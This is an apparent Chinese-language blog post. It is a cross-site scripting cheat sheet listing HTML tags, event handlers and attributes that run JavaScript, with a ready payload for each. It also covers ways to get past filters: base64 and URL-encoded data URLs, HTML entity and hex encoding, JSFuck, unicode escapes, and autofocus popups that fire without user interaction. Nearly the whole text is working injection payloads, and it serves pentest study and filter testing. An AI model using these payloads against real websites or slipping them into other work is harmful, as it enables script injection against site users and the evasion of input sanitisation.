xss介绍
xxs
1.可以执行js的标签,经过firefox测试,使用js代码的地方可以分为外部和内部,外部<script src=http://xxx.js> </script>,内部可以分为直接调用<script>coding</script>,属性,伪协议,如下:
<script> eg:<script>alert(1)</script>
<a> eg <a href=javascript:alert(1)>11</a>
<p> eg <p onclick='javascript:alert(1)'>11</p>
<img> eg <img src=1 onerror=alert(1)>
<body> eg <body onload=alert(1)></body>
<button> eg<button onclick=alert(1)>sure</button>
<var> eg <var onclick=alert(1)>sure</var>显示斜体
<div>eg <div onclick=alert(1)>sure</div>
<iframe> eg <iframe onload=alert(1)>sure</iframe>
<object> eg<object onclick=alert(1)>sure</object>
<input> eg<input onclick=alert(1)>
<select>eg <select onclick=alert(1)></select>
<texttarea>eg <texttarea onclick=alert(1)>11</texttarea>
<keygen> eg <keygen onclick=alert(1)>
<frameset> eg<frameset onload=alert(1)>11</frameset>
<embed>
<svg> eg<svg/onload=alert(1)>
<math>
<video>
<audio>
2.所有事件
onload onunload(f5或者离开页面时) onchange onsubmit onreset(重置) onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
3.可以执行js的属性
formaction action href xlink:href autofocus src content data
<input type="submit" formaction="demo-admin.php" value="提交">
<form action="javascript:alert(1)">code</form>
<a href='javascript:alert(1)'>11</a>
4.自定义的标签
<M/onclick="alert(1)">11</M>
5.标签与属性之间可由/代替空格
<img/src=x onerror=alert(1)>
6. a标签
6.1 使用伪协议:<a href=javascript:alert(2)>M
6.2 data url:<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>M
注意两点:
第一点加密解密的website:https://tool.oschina.net/encrypt?type=3,base64加密解密,
第二点,格式data:mime类型;base64,内容
6.3urlencode:(firefox和chrome无效)
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M
http://www.jsons.cn/urlencode/ urlencode在线编码
6.4 进制编码
进制编码常用到的js8进制、js16进制、url编码、base64编码、html实体、html10进制、html16进制,具体参照https://www.bihuoedu.com/vul/radix/radix16.php,网页还包含很多简单的漏洞测试
<a href=javascript:alert(13)>M可以弹窗。
a和ahtml十六进制编码,表示a 。#97 url编码,表示a。: html16进制:。
<a href=javascript:confirm(2)>M 。:表示:所以如果过滤了:可以使用以上几种方式绕过。如果过滤alert()可以使用confirm
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
xlink:href属性, 链接内容为white,且自定义高度和宽度
<math><a xlink:href=javascript:alert(1)>M
math标签
7script标签
7.1.常规使用测试<script>alert(1)</script>
7.2.过滤alert() 对alert(1)编码,http://www.jsfuck.com/可以生成。
3.<script firefox>alert(1)</script>也可弹窗,并一定要一个规范的script
4.还是编码
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script>
5.编码
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>
6.不是只有alert()弹窗
<script>prompt(-[])</script>
<script>confirm(-[])</script>
7.代替双引号和单引号
<script>alert(/3/)</script>
可以这样<script>alert('3')</script>和<script>alert(3)</script>也可弹窗
8.数字转换字符串
<script>alert(String.fromCharCode(49))</script>
9.加.source
<script>alert(/7/.source)</script>
10.使用setTimeout
<script>setTimeout('alert(1)',0)</script>
button标签
1.使用事件
<button/onclick=alert(1) >M</button>
2.很少用到的formaction属性
<form><button formaction=javascript:alert(1)>M
3.自动聚焦
<button onfocus=alert(1) autofocus>
p标签
1.输出在标签外面,直接js语句
2.输出在属性,考虑闭合标签和引号
<p/onmouseover=javascript:alert(1); >M</p>
img标签
<img src=x onerror=alert(1)>
<img src ?itworksonchrome?\/onerror = alert(1)> 过滤了src=可以用//只在chrome下有效
<img src=x onerror=window.open('http://www.baidu.com');>自动打开一个窗口,浏览器会自动拦截,如果用户选择允许,才会打开
<img/src/onerror=alert(1)>chrome过滤了空格,可以用这个
<img src="x:kcf" onerror="alert(1)">
body标签
<body onload=alert(1)>
【var标签】
<var onmouseover="prompt(1)">KCF</var>
【div标签】
<div/onmouseover='alert(1)'>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
iframe
<IFRAME SRC="javascript:alert(1);"></IFRAME> 伪协议
<iframe/onload=alert(53)></iframe> 属性
meta标签
提供了一种挖掘xss的新思路,有些个人信息的网站title会显示会员名,客户可控,总结一下xss输出位置,1.当前页面,页面源码中和dom中2.其他页面3.文件4.网站名
object标签
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
marquee标签
<marquee onstart="alert('sometext')"></marquee>
isindex标签
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
【input标签】
没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
【select标签】
<select onfocus=javascript:alert(1) autofocus>
【textarea标签】
<textarea onfocus=javascript:alert(1) autofocus>
【keygen标签】
<keygen onfocus=javascript:alert(1) autofocus>
【frameset标签】
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<frameset onload=alert(1)>
【embed标签】
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox
【svg标签】
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
【math标签】
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com"
xlink:href="javascript:alert(49)">CLICKME</maction> </math>
【video标签】
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
【audio标签】
<audio src=x onerror=alert(47)>
参考链接: https://www.leavesongs.com/PENETRATION/xss-collect.html

浙公网安备 33010602011771号